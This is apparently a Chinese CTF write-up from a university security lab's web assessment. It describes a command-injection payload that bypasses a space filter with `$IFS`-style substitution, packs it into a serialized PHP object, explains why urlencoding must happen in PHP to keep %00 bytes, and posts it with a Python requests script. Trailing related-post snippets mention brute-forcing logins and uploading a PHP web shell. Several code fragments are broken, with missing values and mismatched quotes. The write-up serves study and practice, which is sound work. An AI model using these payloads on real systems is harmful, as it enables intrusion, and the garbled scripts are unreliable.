極光實驗室 web 考核wp

2021-09-26 18:36:25 字數 1766 閱讀 6878

第一題略(不要問我為什麼emmmm

基本payload被構造好以後,接下來就開始想怎麼繞過

眼癌患者注意正則匹配裡還過濾了空格,所以想方法繞過

google一下發現bash命令繞過空格的方法很多(環境變數ifs/重定向都可)

$ , $ifs$9 , <

諸如此類,這裡選用$,所以payload變成echo`cat$flag.php`

因為還涉及反序列化,所以要先把payload變成序列化後的亞子

$payload = new come("danger",array("`cat\$flflag.phpag.php`"));

echo serialize($payload)."\n";

echo urlencode(serialize($payload))."\n";

注意urlencode很重要!很重要!很重要!(這也是記錄這份wp最大的原因,編碼真的是坑)

解釋一下why,拿echo的兩個字串分別跑一下下面的指令碼看看結果有什麼不一樣

from urllib.parse import unquote

from urllib.parse import urlencode

data1 =

print(data1)

data2 = flflag.phpag.php`";}} '}

data2 = urlencode(data)\

print(data2)

執行結果如下:

注意到如果直接複製php頁面返回的未urlencode的序列化字串,再在python中進行urlencode,則有了%00的丟失

反觀如果在php裡就直接進行urlencode,則取回的字串完整,再在python中unquote,仍保留了\x00

所以這是乙個很重要的點

btw為什麼平時做的有些反序列化的題不需要這些操作也能成功拿到flag呢?

因為本題裡的類成員大多為private,所以會在字串中摻入%00,而%00較為特殊,就導致了如果不在php裡進行urlencode就會gg的後果

下面直接用構造好的payload進行發包(要注意本題第二個flag在原始碼裡,所以要print的是content而不是text,親測print text只有孤零零乙個之前的flag)

拿到第二個flag!

這裡附上最後一步的python指令碼:

import requests

from urllib.parse import unquote

from urllib.parse import urlencode

url = ""

data1 =

print(data1)

# data1完整payload,所以要在php裡就先進行urlencode

data2 = flflag.phpag.php`";}}'}

data2 = urlencode(data2)

print(data2)

# data2缺少%00,錯誤payload

r = requests.post(url, data = data1)

# print(r.text) text缺失資訊

print(r.content)

最大的坑在編碼問題,也是不夠熟練的原因qaq,大二上還是要繼續加油鴨

極光網安實驗室web組考核WP

開啟連線後看到登陸頁面,第一反應是sql注入,試過幾下之後才在原始碼中看到了hint base64解密為 admin 猜測為username,抓包扔進bp進行爆破,用bp自帶的字典就拿到了密碼 拿到了第乙個flag並跳轉到乙個檔案上傳頁面 抓包,傳入php檔案並修改檔案型別發現上傳成功,於是傳入一句...

實驗室每日一題wp

拿到隊友的題目 太簡單別罵我 多個不同型別的檔案,首先都開啟看看,以方便得知做題順序 key是解另乙個加密的another key檔案,裡面的解jpg,ok,現在大體順序清楚了 開始進入正題 1.分析key.txt 內容為 chikenhead pw1tsdaospwsrnoasdosr 經過嘗試是...

實驗室吃飯記賬系統web

不得不說,生活驅動學習啊。因為實驗室只有一張卡可以去教職工食堂吃飯,所以大家都共用一張卡,於是記賬就成了乙個不可避免的問題。之前都是簡單記紙上,經常容易忘記記賬而且算起賬來很麻煩,所以突然想到,我們都是要搞it的人啊,結合最近在學的python,就想著用python搞個web伺服器來記賬。說幹就幹 ...